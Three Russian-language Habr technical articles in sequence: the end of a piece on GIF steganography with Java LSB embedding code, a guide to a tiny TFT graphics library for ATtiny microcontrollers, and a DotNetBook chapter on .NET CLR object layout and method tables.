Реализация непосредственно самих алгоритмов будет представлена в пакете `com.tsarik.programs.gifed.gif` классами `GIFEncryptorByLSBMethod` и `GIFEncryptorByPaletteExtensionMethod`. Оба этих класса будут реализовать интерфейс `Encryptor`.
На основе структуры формата GIF можно составить общий алгоритм внедрения сообщения в палитру изображения:
Для определения присутствия сообщения в изображении необходимо в начало сообщения добавлять некую последовательность бит, которую дешифратор считывает в первую очередь и проверяет на корректность. Если она не совпадает, то считается, что в изображении нет сокрытого сообщения. Далее надо указывать длину сообщения. Затем сам текст сообщения.
Диаграмма классов всего приложения:
##### Реализация программы
Реализацию всей программы можно разбить на две составляющие: реализация методов шифрования и дешифрования интерфейса `Encryptor`, в классах `GIFEncryptorByLSBMethod` и `GIFEncryptorByPaletteExtensionMethod`, и реализация интерфейса пользователя.
Рассмотрим класс `GIFEncryptorByLSBMethod`.
Поля `firstLSBit` и `secondLSBit` содержат номера битов каждого байта изображения, в которые должно заноситься и откуда считываться сообщение. Поле `checkSequence` хранит контрольную последовательность бит для обеспечения распознавания встроенного сообщения. Статический метод `getEncryptingFileParameters` возвращает параметры указанного файла и характеристики потенциального сообщения.
Алгоритм метода `encrypt` класса `GIFEncryptorByLSBMethod`:
И его код:
```
@Override
public void encrypt(File in, File out, String text) throws UnableToEncodeException, NullPointerException, IOException {
if (in == null) {
throw new NullPointerException("Input file is null");
}
if (out == null) {
throw new NullPointerException("Output file is null");
}
if (text == null) {
throw new NullPointerException("Text is null");
}
// read bytes from input file
byte[] bytes = new byte[(int)in.length()];
InputStream is = new FileInputStream(in);
is.read(bytes);
is.close();
// check format
if (!(new String(bytes, 0, 6)).equals("GIF89a")) {
throw new UnableToEncodeException("Input file has wrong GIF format");
}
// read palette size property from first three bits in the 10-th byte from the file
byte[] b10 = Binary.toBitArray(bytes[10]);
byte bsize = Binary.toByte(new byte[] {b10[0], b10[1], b10[2]});
// calculate color count and possible message length
int bOrigColorCount = (int)Math.pow(2, bsize+1);
int possibleMessageLength = bOrigColorCount*3/4;
int possibleTextLength = possibleMessageLength-2;// one byte for check and one byte for message length
if (possibleTextLength < text.length()) {
throw new UnableToEncodeException("Text is too big");
}
int n = 13;
// write check sequence
for (int i = 0; i < checkSequence.length/2; i++) {
byte[] ba = Binary.toBitArray(bytes[n]);
ba[firstLSBit] = checkSequence[2*i];
ba[secondLSBit] = checkSequence[2*i+1];
bytes[n] = Binary.toByte(ba);
n++;
}
// write text length
byte[] cl = Binary.toBitArray((byte)text.length());
for (int i = 0; i < cl.length/2; i++) {
byte[] ba = Binary.toBitArray(bytes[n]);
ba[firstLSBit] = cl[2*i];
ba[secondLSBit] = cl[2*i+1];
bytes[n] = Binary.toByte(ba);
n++;
}
// write message
byte[] textBytes = text.getBytes();
for (int i = 0; i < textBytes.length; i++) {
byte[] c = Binary.toBitArray(textBytes[i]);
for (int ci = 0; ci < c.length/2; ci++) {
byte[] ba = Binary.toBitArray(bytes[n]);
ba[firstLSBit] = c[2*ci];
ba[secondLSBit] = c[2*ci+1];
bytes[n] = Binary.toByte(ba);
n++;
}
}
// write output file
OutputStream os = new FileOutputStream(out);
os.write(bytes);
os.close();
}
```
Алгоритм и исходный код метода `decrypt` класса `GIFEncryptorByLSBMethod`:
```
@Override
public String decrypt(File in) throws UnableToDecodeException, NullPointerException, IOException {
if (in == null) {
throw new NullPointerException("Input file is null");
}
// read bytes from input file
byte[] bytes = new byte[(int)in.length()];
InputStream is = new FileInputStream(in);
is.read(bytes);
is.close();
// check format
if (!(new String(bytes, 0, 6)).equals("GIF89a")) {
throw new UnableToDecodeException("Input file has wrong GIF format");
}
// read palette size property from first three bits in the 10-th byte from the file
byte[] b10 = Binary.toBitArray(bytes[10]);
byte bsize = Binary.toByte(new byte[] {b10[0], b10[1], b10[2]});
// calculate color count and possible message length
int bOrigColorCount = (int)Math.pow(2, bsize+1);
int possibleMessageLength = bOrigColorCount*3/4;
int possibleTextLength = possibleMessageLength-2; // one byte for check and one byte for message length
int n = 13;
// read check sequence
byte[] csBits = new byte[checkSequence.length];
for (int i = 0; i < 4; i++) {
byte[] ba = Binary.toBitArray(bytes[n]);
csBits[2*i] = ba[firstLSBit];
csBits[2*i+1] = ba[secondLSBit];
n++;
}
byte cs = Binary.toByte(csBits);
if (cs != Binary.toByte(checkSequence)) {
throw new UnableToDecodeException("There is no encrypted message in the image (Check sequence is incorrect)");
}
// read text length
byte[] cl = new byte[8];
for (int i = 0; i < 4; i++) {
byte[] ba = Binary.toBitArray(bytes[n]);
cl[2*i] = ba[firstLSBit];
cl[2*i+1] = ba[secondLSBit];
n++;
}
byte textLength = Binary.toByte(cl);
if (textLength < 0) {
throw new UnableToDecodeException("Decoded text length is less than 0");
}
if (possibleTextLength < textLength) {
throw new UnableToDecodeException("There is no messages (Decoded message length (" + textLength + ") is less than Possible message length (" + possibleTextLength + "))");
}
// read text bits and make text bytes
byte[] bt = new byte[textLength];
for (int i = 0; i < bt.length; i++) {
byte[] bc = new byte[8];
for (int bci = 0; bci < bc.length/2; bci++) {
byte[] ba = Binary.toBitArray(bytes[n]);
bc[2*bci] = ba[firstLSBit];
bc[2*bci+1] = ba[secondLSBit];
n++;
}
bt[i] = Binary.toByte(bc);
}
return new String(bt);
}
```
Реализация класса `GIFEncryptorByPaletteExtensionMethod` будет аналогичной, только отличается метод сохранения/считывания информации.
В классе `MainFrame` описаны методы-«обертки»: `encryptImage(Encryptor encryptor)` и `decryptImage(Encryptor encryptor)`, обрабатывающие результаты методов интерфейса `Encryptor` и осуществляющие взаимодействие с пользователем, т.е открывают диалог выбора файлов, показывают сообщения об ошибках и т.д.; а также и другие методы: `openImage()`, дающий возможность пользователю выбора изображения, `exit()`, осуществляющий выход из приложения. Эти методы вызываются из `Action`'ов соответствующих пунктов меню. В этом классе дополнительно реализованы вспомогательные методы: `createComponents()` — создание компонентов формы, `loadImageFile(File f)` — загрузка изображения в специальный компонент из файла. Реализация класса `GIFEncryptorByPaletteExtensionMethod` аналогична реализации класса `GIFEncryptorByLSBMethod`, основное отличие состоит в способе записи и чтении байтов сообщения из палитры.
#### Работа программы
##### Метод LBS
Допустим есть такое изображение:
В данном изображении палитра состоит из 256 цветов (так сохраняет Paint). Первые четыре цвета: белый, черный, красный, зеленый. Остальные цвета — черные. Последовательность бит глобальной палитры будет следующая:
11111111 11111111 11111111 00000000 00000000 00000000 11111111 00000000 00000000 00000000 11111111 00000000…
После внедрения сообщения подчеркнутые биты будут заменены битами из сообщения. Полученное изображение почти не отличается от оригинала.
| Оригинал | Изображение с внедренным сообщением |
| --- | --- |
| Оригинал | Изображение с внедренным сообщением |
##### Метод расширения палитры
Открыв изображение, в которое помещено сообщение по данному методу, можно обнаружиться такую картину:
Понятное дело, что для полноценной шпионской деятельности такой метод не пойдет, и требует, может, дополнительной шифровки сообщения.
Шифрование/дешифрование в анимированных изображениях работает, как и в обычных статических изображениях, при этом анимация не нарушается.
Используемые источники:
* <http://ru.wikipedia.org/wiki/Gif>
* <http://ru.wikipedia.org/wiki/Стеганография>
* <http://home.onego.ru/~chiezo/gif.htm>
Скачать:
* [Программу](https://bitbucket.org/phts-home/gifed/downloads/)
* [Исходники](https://bitbucket.org/phts-home/gifed/src/) | https://habr.com/ru/post/128327/ | null | ru | null |
# Крошечная библиотека TFT для микроконтроллеров ATtiny
[](https://habr.com/ru/company/ruvds/blog/670612/)*Библиотека TFT на ATtiny85, управляющая цветным дисплеем Adafruit 2.0" 320x240*
В статье речь пойдёт о маленькой графической библиотеке, предназначенной специально для микроконтроллеров ATtiny, используемых с различными миниатюрными TFT-дисплеями, которые можно недорого приобрести на сайтах Adafruit, AliExpress или Banggood.
Это обновлённая версия моей Tiny TFT Graphics Library, которая поддерживает и классические процессоры ATtiny, такие как ATtiny85, и новые модели 0-, 1- и 2-серий, например, ATtiny402. Как и оригинальная библиотека, она позволяет отрисовывать точки, линии, закрашенные прямоугольники, а также символы и текст в 16-битной цветовой палитре с настраиваемым фактором масштабирования.
В текущей версии появилась возможность рисовать контурные прямоугольники, а также контурные и закрашенные круги. Помимо этого, я добавил подстраивающиеся под любой дисплей демо-программы для рисования кривых и гистограмм.
Введение
--------
Эта библиотека поддерживает TFT-дисплеи, использующие интерфейс SPI и требующие четыре контакта для управления. В итоге на 8-контактной микросхеме вроде ATtiny85 или ATtiny402 остаётся один свободный контакт. Если вам нужно больше, берите другую микросхему, например, ATtiny84 или ATtiny404.
В отличие от моей Compact TFT Graphics Library, которая использует стандартные вызовы Arduino SPI, эта библиотека напрямую взаимодействует с вводом/выводом. Это примерно вдвое ускоряет работу в сравнении с использованием SPI, а также позволяет использовать любое назначение контактов четырёх необходимых дисплею линий ввода/вывода. Ещё я расширил спектр поддерживаемых TFT-дисплеев – теперь их 16.
### Как всё это работает
На классических процессорах ATtiny, таких как ATtiny85, библиотека использует возможность переключения одного или более бит в порту с помощью записи в регистр `PINB`, например, для активации/отключения сигнала chip-select (выбора микросхемы):
```
PINB = 1<
```
Так что, если при запуске все контакты установлены на состояние «отключён», то процедуры дисплея смогут просто переключать нужные из них, активируя или отключая.
На новых ATtiny 0- и 1-серии используется равнозначный регистр `OUTTGL`. Например:
```
PORTA.OUTTGL = 1<
```
Отличия между каждым семейством процессоров обрабатываются константами, определяющими назначения контактов, и макросом препроцессинга, определяющим манипуляции с битами. Если вы примените приведённые ниже схемы, то вам не потребуется что-либо менять, только указать, какой используется дисплей.
Я дополнительно оптимизировал процедуру `ClearDisplay()`, когда осознал, что нет нужды продолжать и устанавливать бит `mosi`, так как для очистки дисплея он всегда будет нулевым, а значит, процедуре нужно только переключать бит `sck` нужное число раз. Благодарю Томаса Шерера за поданную идею.
### Быстродействие
В таблице ниже отражено отличие в быстродействии при использовании TFT-дисплея 240х240 с ATtiny402 20МГц:
| | **Компактная библиотека TFT** | **Крошечная библиотека TFT** |
| **ClearDisplay()** | 856 мс | 279 мс |
| **FillRect(240, 240)** | 1142 мс | 737 мс |
| **TestChart()** | 210 мс | 61 мс |
| **BarChart()** | 1306 мс | 728 мс |
Вся библиотека занимает менее 4КБ, включая набор символов и демо-программы, а значит, вполне уместится на микроконтроллерах с 4КБ флэш-памяти, таких как ATtiny45 и ATtiny402.
Поддерживаемые дисплеи
----------------------
Эта библиотека будет работать с дисплеями на базе контроллера ST7735, поддерживающего максимальный размер экрана 162х132, либо ST7789 и ILI9340/1, поддерживающих размер 320х240. Она содержит параметры для следующих цветных TFT-дисплеев:
| **Поставщик** | **Размер** | **Ширина** | **Высота** | **Напряжение** | **Контроллер** | **Ссылка** |
| Adafruit | 1.44" | 128 | 128 | 3.3 — 5V | ST7735R | [Adafruit 1.44" Color TFT LCD Display](https://www.adafruit.com/product/2088) \* |
| AliExpress | 1.44" | 128 | 128 | 3.3 — 5V | ST7735R | [1.44" 128x128 SPI TFT display](https://www.aliexpress.com/item/1005003782907800.html) † |
| Adafruit | 0.96" | 160 | 80 | 3.3 — 5V | ST7735 | [Adafruit 0.96" 160x80 Color TFT Display](https://www.adafruit.com/product/3533) \* |
| AliExpress | 0.96" | 160 | 80 | 3.3V | ST7735 | [TFT Display 0.96 inch 80x160](https://www.aliexpress.com/item/32973098432.html) † |
| Adafruit | 1.8" | 160 | 128 | 3.3 — 5V | ST7735R | [Adafruit 1.8" Color TFT LCD display](https://www.adafruit.com/product/358) |
| AliExpress | 1.8" | 160 | 128 | 3.3V | ST7735R | [1.8 inch TFT LCD Module 128x160](https://www.aliexpress.com/item/32895086244.html) |
| AliExpress | 1.8" | 160 | 128 | 3.3V | ST7735R | [1.8" 128x160 SPI TFT display](https://www.aliexpress.com/item/1005002902607351.html) † |
| Adafruit | 1.14" | 240 | 135 | 3.3 — 5V | ST7789 | [Adafruit 1.14" 240x135 Color TFT Display](https://www.adafruit.com/product/4383) \* |
| AliExpress | 1.14" | 240 | 135 | 3.3V | ST7789 | [1.14in SPI 240x135 RGB TFT display](https://www.aliexpress.com/item/4000183088912.html) † |
| Adafruit | 1.3" | 240 | 240 | 3.3 — 5V | ST7789 | [Adafruit 1.3" 240x240 Wide Angle TFT LCD Display](https://www.adafruit.com/product/4313) \* |
| Adafruit | 1.54" | 240 | 240 | 3.3 — 5V | ST7789 | [Adafruit 1.54" 240x240 TFT LCD Display](https://www.adafruit.com/product/3787) \* |
| AliExpress | 1.54" | 240 | 240 | 3.3V | ST7789 | [1.54" TFT 240x240 LCD Display](https://www.aliexpress.com/item/1005001520083435.html) † |
| Adafruit | 1.9" | 320 | 170 | 3.3 — 5V | ST7789 | [Adafruit 1.9" 320x170 Color IPS TFT Display](https://www.adafruit.com/product/5394) \* |
| Adafruit | 2.0" | 320 | 240 | 3.3 — 5V | ST7789 | [Adafruit 2.0" 320x240 Color TFT Display](https://www.adafruit.com/product/4311) \* |
| Adafruit | 2.2" | 320 | 240 | 3.3 — 5V | ILI9340C | [Adafruit 2.2" 320x240 Color TFT Display](https://www.adafruit.com/product/1480) |
| AliExpress | 2.4" | 320 | 240 | 3.3V | ILI9341 | [2.4" 320x240 TFT Display Module](https://www.aliexpress.com/item/1005001543742305.html) † |
\* Эти дисплеи Adafruit к удобству имеют одинаковое расположение боковых разъёмов, что позволяет собрать макетную или печатную плату с возможностью подключения любого из них.
† Эти модели с AliExpress тоже имеют одинаковое расположение разъёмов. Некоторые из них включают LDO-регулятор 3.3В, но без преобразования логического уровня, так что я советую подключать их только к процессору, работающему от 3.3В.
В свою очередь, дисплеи Adafruit все содержат LDO-регулятор 3.3В и преобразователь логического уровня, а значит, могут подключаться к процессорам 5В или 3.3В.
У красного дисплея 160х128 с AliExpress для включения подсветки её контакт нужно подключить к Vcc. В случае других дисплеев этого не требуется.
Моя библиотека позволяет настраивать ориентацию изображения — чтобы можно было по-разному обыграть установку дисплея.
Есть вероятность, что она будет поддерживать и другие модели с теми же контроллерами ST7735, ST7789 или ILI9340/1, но при этом вам может потребоваться подобрать параметры, чтобы добиться правильного масштабирования и центровки изображения.
Подключение дисплея
-------------------
Для использования библиотеки нужно правильно подключить дисплей и выбрать для него подходящие параметры.
Дисплей подключается к микроконтроллеру по четырём линиям ввода/вывода: MOSI, SCK, CS и DC. Для этого можно задействовать любые контакты, но они все должны находиться в одном порту. Номера используемых контактов порта необходимо указать в начале листинга библиотеки.
Имейте ввиду, что на разных платах дисплеев контакты обозначаются по-разному:
| **Контакт** | **Маркировка** |
| Vcc | Vin |
| Ground | GND |
| Clock | SCK, SCL |
| Data In | MOSI, SI, SDA |
| Chip Select | CS, TCS |
| Data/Command | DC, D/C, A0 |
| Backlight | LITE, LIT, BLK |
Не удивляйтесь используемой на некоторых дисплеях маркировке SCL и SDA — это определённо дисплеи SPI.
### ATtiny85/45
По умолчанию библиотека устанавливает для ATtiny85/84 следующие контакты в `PORT B`:
```
int const dc = 0;
int const mosi = 1;
int const sck = 2;
int const cs = 3;
```
А вот соответствующая схема подключения дисплея с AliExpress:
*Схема подключения цветного TFT-дисплея с использованием ATtiny85*
Подтягивающий резистор 33кОм здесь необязателен. Он необходим только на дисплеях с AliExpress, где его задача удерживать chip select на высоком уровне, чтобы во время программирования микроконтроллера экран не мерцал.
В случае дисплеев Adafruit можно обойтись без резистора 10кОм, поскольку у них подтягивание реализовано на собственной плате.
### ATtiny402/412
По умолчанию библиотека устанавливает для ATtiny402/412 следующие контакты в `PORT A`:
```
int const dc = 7;
int const mosi = 1;
int const sck = 3;
int const cs = 6;
```
А вот соответствующая схема подключения дисплея с AliExpress:
*Схема подключения цветного TFT-дисплея с использованием ATtiny402*
При использовании дисплея Adafruit резистор 10кОм можно опустить, так как у них подтягивание происходит на самой плате.
Пример реализации этой схемы с дисплеем Adafruit 320x240 2.2" TFT:
*Крошечная библиотека TFT на ATtiny402, управляющая цветным TFT-дисплеем Adafruit 2.2" 320x240*
### Настройка дисплея
Параметры дисплеев определяются семью константами, которые устанавливают размер, смещение относительно области, поддерживаемой драйвером дисплея, инвертирование, степень поворота экрана, а также порядок цветов. Например:
```
// Adafruit 1.44" 128x128 display
int const xsize=128, ysize=128, xoff=2, yoff=1, invert=0, rotate=3, bgr=1;
```
Раскомментируйте параметры для используемого дисплея.
По умолчанию параметры задают верную ориентацию — исходя из предположения, что вы используете контакты вдоль верхней части дисплея. Исключением становятся крупные модели, у которых эти контакты расположены вдоль короткой стороны – в этом случае предполагается, что они находятся слева.
Тем не менее изменяя константу `rotate`, можно настроить поворот экрана по-своему:
*Тестовый паттерн Test Chart*
Имейте в виду, что на некоторых дисплеях при повороте изображения вам также может потребоваться изменить значение `xoof` или `yoff`.
Для проверки или подстройки значений под каждый дисплей можно использовать программу `TestChart()`, которая рисует по периметру рамку с отступом в один пиксель и отображает “F”, позволяя определить ориентацию:
```
void TestChart () {
DrawRect(xsize, ysize);
scale = 8;
fore = Colour(255, 0, 0);
MoveTo((xsize-40)/2, (ysize-64)/2); PlotChar('F');
scale = 1;
}
```
Пример:
*Test Chart на цветном TFT-дисплее 1.14" 240x135 с AliExpress*
Если символ “F” окажется синим, необходимо изменить значение `bgr`.
Библиотека наверняка будет поддерживать и другие TFT-дисплеи, использующие те же контроллеры, но в этом случае может потребоваться подстройка параметров.
Графические команды
-------------------
Вот общий список графических команд библиотеки:
Colour
Библиотека использует 16-битный режим цвета, в котором 5 бит отводится красному, 6 зелёному и 5 синему.
`Colour()` позволяет задавать значение цвета путём указания его красной, зелёной и синей компонент в виде чисел от 0 до 255:
```
unsigned int Colour (int r, int g, int b)
```
Передний и задний план
Цвет переднего и заднего плана определяется двумя глобальными переменными `fore` и `back`. Изначально они установлены на белый (`0xFFFF`) и чёрный (`0`) соответственно.
```
int fore = White;
int back = Black;
```
Очистка дисплея
`ClearDisplay()` очищает дисплей в чёрный цвет:
```
void ClearDisplay ()
```
Нанесение точек и отрисовка линий
Библиотека содержит базовые графические процедуры для нанесения точек и отрисовки линий. Работают они в традиционной системе координат, где исходная точка находится в нижнем левом углу.
Вот пример для дисплея 80х160:
Текущая позиция отрисовки хранится в глобальных переменных `xpos` и `ypos`. Изменить её можно с помощью `MoveTo()`:
```
void MoveTo (int x, int y)
```
`PlotPoint()` наносит одну точку, имеющую цвет текущего переднего плана:
```
void PlotPoint (int x, int y)
```
`DrawTo()` отрисовывает линию с цветом переднего плана из текущей позиции до `x,y`, после чего текущая позиция обновляется:
```
void DrawTo (int x, int y)
```
Отрисовка прямоугольников
`DrawRect()` рисует контурный, а `FillRect()` закрашенный прямоугольник, с шириной `w` и высотой `h`. При этом нижний левый угол устанавливается в текущую позицию отрисовки, а закрашивание производится в текущий цвет переднего плана:
```
void DrawRect (int w, int h)
void FillRect (int w, int h)
```
После позиция отрисовки не меняется.
Отрисовка кругов
`DrawCircle()` рисует контурный, а `FillCircle()` закрашенный круг с радиусом `radius`, устанавливая центр в текущую позицию отрисовки:
```
void DrawCircle (int radius)
void FillCircle (int radius)
```
По завершению позиция отрисовки остаётся прежней.
Символы и текст
Библиотека содержит набор символов, основанный на точечной матрице 5х7.
`PlotChar()` отрисовывает заданный символ в текущей позиции с текущим цветом переднего плана:
```
void PlotChar (char c)
```
Можно отрисовывать более крупные символы, изменяя переменную `scale`, чьё изначальное значение равно `1`. После отрисовки символа `PlotChar()` перемещает текущую позицию к началу следующего, позволяя выводить несколько символов подряд без вызова `MoveTo()`.
`PlotText()` выводит текст из строки, содержащейся в программной памяти:
```
void PlotText (PGM_P p)
```
Примеры можно посмотреть в демо-программах.
`PlotInt()` рисует число:
```
void PlotInt (int i)
```
Компиляция графической библиотеки
---------------------------------
### ATtiny85/45
Скомпилируйте программу с помощью [ATTinyCore от Spence Konde](http://www.technoblogy.com/show?3WAI#cite_note1). В меню *Board* под заголовком *ATTinyCore* выберите опцию *ATtiny25/45/85 (No bootloader)*. Затем убедитесь, чтобы последующие опции были установлены так (прочие игнорируйте):
```
Chip: "ATtiny85"
Clock Source: "8 MHz (internal)"
```
По умолчанию ATtiny работает на 1МГц. Выберите *Burn Bootloader*, чтобы установить фьюз-биты в режим 8МГц, иначе графика будет работать медленно. Затем загрузите программу с помощью программатора ISP, например, [Tiny AVR Programmer Board от SparkFun](http://www.technoblogy.com/show?3WAI#cite_note2).
### ATtiny402/412
Скомпилируйте программу с помощью [megaTinyCore от Spence Konde](http://www.technoblogy.com/show?3WAI#cite_note3). В меню *Board* под заголовком *megaTinyCore* выберите опцию *ATtiny412/402/212/202*. Проверьте, чтобы последующие опции были установлены так (остальные игнорируйте):
```
Chip: "ATtiny420" (либо другой соответствующий)
Clock: "20 MHz internal"
```
Далее загрузите программу через программатор UPDI. Рекомендуется использовать плату USB to Serial, например, [FTDI Basic от SparkFun](http://www.technoblogy.com/show?3WAI#cite_note4), подключённую через резистор 4.7кОм:
Установите опцию *Programmer* на *«SerialUPDI with 4.7k resistor or diode (230400 baud)»*.
Ресурсы
-------
* Крохотная библиотека TFT с демо-программой лежит здесь: [Tiny TFT Graphics Library 2 Program](http://www.technoblogy.com/list?3WGG).
* Либо можете взять её [отсюда](https://github.com/technoblogy/tiny-tft-graphics-library).
[](https://bit.ly/3N6JBGr?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=kroshechnaya_biblioteka_tft_dlya_mikrokontrollerov_attiny) | https://habr.com/ru/post/670612/ | null | ru | null |
# [DotNetBook] Структура экземпляров типов и VMT
 С этой статьей я продолжаю публиковать целую серию статей, результатом которой будет книга по работе .NET CLR, и .NET в целом.
Вся книга будет доступна на GitHub: [CLR Book](https://github.com/sidristij/dotnetbook/blob/master/ObjectsStructure.md). Так что Issues и Pull Requests приветствуются :)
Это — выжимка из [главы про структуру типов и их VMT](https://github.com/sidristij/dotnetbook/blob/master/ObjectsStructure.md).
Структура объектов в памяти
---------------------------
До сих, [говоря про разницу между значимыми и ссылочными типами](https://github.com/sidristij/dotnetbook/blob/master/ReferenceTypesVsValueTypes.md), мы затрагивали эту тему с высоты конечного разработчика. Т.е. мы не смотрели на то как они в реальности устроены на уровне CLR, как сделаны те или иные механики внутри каждого из них. Мы смотрели фактически на конечный результат. Однако, чтобы понимать суть вещей глубже и чтобы отбросить в сторону последние оставшиеся мысли о какой-либо магии, происходящей внутри CLR стоит заглянуть в самые ее потроха.
> ### Примечание
>
>
>
> Глава, опубликованная на Хабре не обновляется и возможно, уже несколько устарела. А потому, прошу обратиться за более свежим текстом к оригиналу:
>
>
>
> *  CLR Book: [GitHub, оглавление](https://github.com/sidristij/dotnetbook/)
> *  CLR Book: [GitHub, глава](https://github.com/sidristij/dotnetbook/blob/master/ObjectsStructure.md)
> *  Релиз 0.5.2 книги, PDF: [GitHub Release](https://github.com/sidristij/dotnetbook/releases/tag/0.5.2)
>
>
>
>
[](https://habr.com/ru/company/clrium/blog/465081/)
### Внутренняя структура экземпляров типов
Если говорить о классах как о типах данных, то в разговоре об их типах данных достаточно вспомнить их базовое устройство. Давайте начнем с типа `object`, который является базовым типом и формирует структуру для всех ссылочных типов:
#### System.Object
```
----------------------------------------------
| SyncBlkIndx | VMTPtr | Data |
----------------------------------------------
| 4 / 8 байт | 4 / 8 байт | 4 / 8 байт |
----------------------------------------------
| 0xFFF..FFF | 0xXXX..XXX | 0 |
----------------------------------------------
^
| Сюда ведут ссылки на объект. Т.е. не в начало, а на VMT
Sum size = 12 (x86) .. 24 (x64)
```
Т.е. фактически размер зависит от конечной платформы, на которой будет работать приложение.
Теперь чтобы получить дальнейшее понимание, с чем мы имеем дело давайте проследуем по указателю `VMTPtr`. Для всей системы типов этот указатель является самым главным: именно через него работает и наследование, и реализация интерфейсов и приведение типов и много чего еще. Этот указатель — отсылка в систему типов .NET CLR.
#### Virtual Methods Table
Описание самой таблицы доступно по адресу в [GitHub CoreCLR](https://github.com/dotnet/coreclr/blob/master/src/vm/methodtable.h) и если отбросить все лишнее (а там 4381 строка! Парни из CoreCLR team не из пугливых), [выглядит она следующим образом](https://github.com/dotnet/coreclr/blob/master/src/vm/methodtable.h#L4099-L4114):
> Это версия из CoreCLR. Если смотреть на структуру полей в .NET Framework, то она будет отличаться расположением полей.
>
>
```
// Low WORD is component size for array and string types (HasComponentSize() returns true).
// Used for flags otherwise.
DWORD m_dwFlags;
// Base size of instance of this class when allocated on the heap
DWORD m_BaseSize;
WORD m_wFlags2;
// Class token if it fits into 16-bits. If this is (WORD)-1, the class token is stored in the TokenOverflow optional member.
WORD m_wToken;
// In the normal cases we shouldn't need a full word for each of these
WORD m_wNumVirtuals;
WORD m_wNumInterfaces;
```
Согласитесь, выглядит пугающе. Причем пугающе не в том что тут всего 6 полей (а где все остальные?), а в том что для того чтобы до них добраться, нам надо было пропустить 4,100 строк логики. Но давайте не будем унывать и попытаемся сразу получить из этого выгоду: мы пока что понятия не имеем что имеется ввиду под другими полями, зато поле `m\_BaseSize` выглядит заманчиво. Как подсказывает нам комментарий, это — фактический размер для экземпляра типа. Попробуем в бою?
Чтобы получить адрес VMT мы можем пойти двумя путями: либо зайти со сложного конца, получив адрес объекта, а значит и VMT (часть этого код уже была на страницах этой книги, но не ругайте меня: я не хочу чтобы вы его искали):
```
class Program
{
public static unsafe void Main()
{
Union x = new Union();
x.Reference.Value = "Hello!";
// Первым полем лежит указатель на место, где лежит
// указатель на VMT
// - (IntPtr*)x.Value.Value - преобразовали число в указатель (сменили тип для компилятора)
// - *(IntPtr*)x.Value.Value - взяли по адресу объекта адрес VMT
// - (void *)*(IntPtr*)x.Value.Value - преобразовали в указатель
void *vmt = (void *)*(IntPtr*)x.Value.Value;
// вывели в консоль адрес VMT;
Console.WriteLine((ulong)vmt);
}
[StructLayout(LayoutKind.Explicit)]
public class Union
{
public Union()
{
Value = new Holder();
Reference = new Holder();
}
[FieldOffset(0)]
public Holder Value;
[FieldOffset(0)]
public Holder Reference;
}
public class Holder
{
public T Value;
}
}
```
Либо тот же самый адрес возвращается вполне себе .NET FCL API:
```
var vmt = typeof(string).TypeHandle.Value;
```
Второй путь конечно же проще (хоть и дольше работает). Однако знание первого очень важно с точки зрения понимания структуры экземпляра типа. Пользование вторым путем хоть и добавляет чувства уверенности: если мы вызываем метод API, то вроде как пользуемся задокументированным способом работы с VMT. А если достаем через указатели, то нет. Но не стоит забывать что хранение `VMT \*` — стандартно для практически любого ООП языка и для .NET платформы в целом: она всегда находится на одном и том же месте.
Давайте изучим вопрос структуры типов с точки зрения размера их экземпляра. Нам же надо не просто абстрактно изучать их (это просто-напросто скучно), но дополнительно попробуем извлечь из этого такую выгоду, какую не извлечь обычным способом.
> **Почему sizeof есть для Value Type но нет для Reference Type?** На самом деле вопрос открытый т.к. никто не мешает рассчитать размер ссылочного типа. Единственное обо что можно споткнуться — это не фиксированный размер двух ссылочных типов: `Array` и `String`. А также `Generic` группы, которая зависит целиком и полностью от конкретных вариантов. Т.е. оператором `sizeof(..)` мы обойтись не смогли бы: необходимо работать с конкретными экземплярами. Однако никто не мешает сделать метод типа `static int System.Object.SizeOf(object obj)`, который бы легко и просто возвращал бы нам то что надо. Так почему же Microsoft не реализовала этот метод? Есть мысль что платформа .NET в их понимании не та платформа, где разработчик будет сильно переживать за конкретные байты. В случае чего можно просто доставить планок в материнскую плату. Тем более что большинство типов данных, которые мы реализуем на занимает такие большие объемы. Однако тем, кому нужно все что нужно подсчитают все размеры так как надо. Последнее, конечно, спорно.
>
>
Но не будем отвлекаться. Итак, чтобы получить размер экземпляра любого класса, экземпляры которого имеют фиксированный размер достаточно написать следующий код:
```
unsafe int SizeOf(Type type)
{
MethodTable *pvmt = (MethodTable *)type.TypeHandle.Value.ToPointer();
return pvmt->Size;
}
[StructLayout(LayoutKind.Explicit)]
public struct MethodTable
{
[FieldOffset(4)]
public int Size;
}
class Sample
{
int x;
}
class GenericSample
{
T fld;
}
// ...
Console.WriteLine(SizeOf(typeof(Sample)));
```
Итак, что мы только что сделали? Первым шагом мы получили указатель на таблицу виртуальных методов. Далее привели тип к указателю на таблицу виртуальных методов (очень упрощенная её версия). После чего мы считываем размер и получаем `12` — это сумма размеров полей `SyncBlockIndex + VMT\_Ptr + поле x` для 32-разрядной платформы. Если мы поиграемся с разными типами то получим примерно следующую таблицу:
| | | |
| --- | --- | --- |
| Тип или его определение | Размер | Комментарий |
| Object | 12 | SyncBlk + VMT + пустое поле |
| Int16 | 12 | Boxed Int16: SyncBlk + VMT + данные
(выровнено по 4 байта на x86) |
| Int32 | 12 | Boxed Int32: SyncBlk + VMT + данные |
| Int64 | 16 | Boxed Int64: SyncBlk + VMT + данные |
| Char | 12 | Boxed Char: SyncBlk + VMT + данные
(выровнено по 4 байта на x86) |
| Double | 16 | Boxed Double: SyncBlk + VMT + данные |
| IEnumerable | 0 | Интерфейс не имеет размера: надо брать obj.GetType() |
| List[T] | 24 | Не важно сколько элементов в List[T], занимать
он будет одинаково т.к. хранит данные он в array, который не учитывается |
| GenericSample[int] | 12 | Как видите, generics прекрасно считаются. Размер не поменялся,
т.к. данные находятся на том же месте что и у boxed int.
Итог: SyncBlk + VMT + данные = 12 байт (x86) |
| GenericSample[Int64] | 16 | Аналогично |
| GenericSample[IEnumerable] | 12 | Аналогично |
| GenericSample[DateTime] | 16 | Аналогично |
| string | 14 | Это значение будет возвращено для любой строки
т.к. реальный размер должен считаться динамически.
Однако он подходит для размера под пустую строку.
Прошу заметить что размер не выровнен по
разрядности: по сути это поле использоваться
не должно |
| int[]{1} | 24554 | Для массивов в данном месте лежат
совсем другие данные плюс их размер не является
фиксированным, потому его необходимо считать
отдельно |
Как видите, когда система хранит данные о размере экземпляра типа, то она фактически хранит данные для ссылочного типа (в том числе для ссылочного варианта значимого). Давайте сделаем некоторые выводы:
1. Если вы хотите знать, сколько займет значимый тип как значение, используйте `sizeof(TType)`
